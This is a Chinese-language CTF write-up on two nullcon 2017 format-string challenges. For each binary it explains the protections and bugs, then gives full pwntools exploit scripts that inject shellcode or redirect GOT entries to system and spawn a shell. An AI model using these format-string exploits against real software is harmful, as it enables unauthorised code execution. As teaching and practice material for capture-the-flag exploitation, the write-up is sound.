2017 nullcon 两道格式化pwn题
忽然感觉有点久没有写pwn题,所以决定找几道pwn题来练手一下,推荐ctfs,这里面收集了近几年的ctf题目。
- level1.bin
checksec 看一下程序开启的保护,发现只有canary,并且还有一个RWE的段,应该是没有开启DEP
用ida反编译看一下程序的代码,可以看到有两个漏洞,一个在search函数中printf格式化字符串漏洞,还有一个是delete函数中可以覆盖低地址两个字节的漏洞。不过后面的这个漏洞比较难以利用,所以选择第一个格式化字符串漏洞来做
思路很明确了,就是覆盖got表中的地址,指向堆地址,从而执行自己的shellcode
from pwn import *
context.log_level='debug'
io=process('level1.bin')
gdb.attach(io)
def insert(name,bid):
io.sendline('1')
io.sendlineafter('name',name)
io.sendlineafter('id',str(bid))
def search(query):
io.sendline('3')
io.sendlineafter('query',query)
io.recvuntil('with: ')
insert('\x90'*0x40+asm(shellcraft.sh()),1)
search("%7$x")
heap=int(io.recvline(),16)
addr={0x804B028:heap+0x30}
payload=fmtstr_payload(11,addr,write_size='short')
search(payload)
print hex(heap)
io.sendline('1')
io.interactive()
- level2.bin
checksec 查看一下,发现开启了canary还有DEP
ida反编译查看代码,发现和上一道题一样是printf格式化字符串问题,并且还有一个栈溢出问题,不过开启了canary不能直接覆盖返回地址
for循环给了3次利用printf格式化字符串的机会(只用到两次)
1.先获得libc基地址
2.修改got上strlen的地址为system的地址,__stack_chk_fail的地址为validate的地址,溢出覆盖canary的值
3.输入name为/bin/sh
from pwn import *
io=remote('127.0.0.1',9002)
io.sendlineafter('name','%'+str(20*4+2)+'$x')
io.sendlineafter('password','%x')
io.recvuntil('name: ')
libc=int(io.recvline(),16)-0x00DDDB6
system=libc+0x0040310
got_strlen=0x804B03C
got_stack_check=0x804B024
validate=0x8048BEA
addr={got_strlen:system,got_stack_check:validate}
payload=fmtstr_payload(11,addr,numbwritten=43,write_size='short')
io.sendlineafter('password',('Nullcon20170'+payload).ljust(0x60,'a'))
io.sendlineafter('name','/bin/sh')
print hex(libc)
print hex(system)
io.interactive()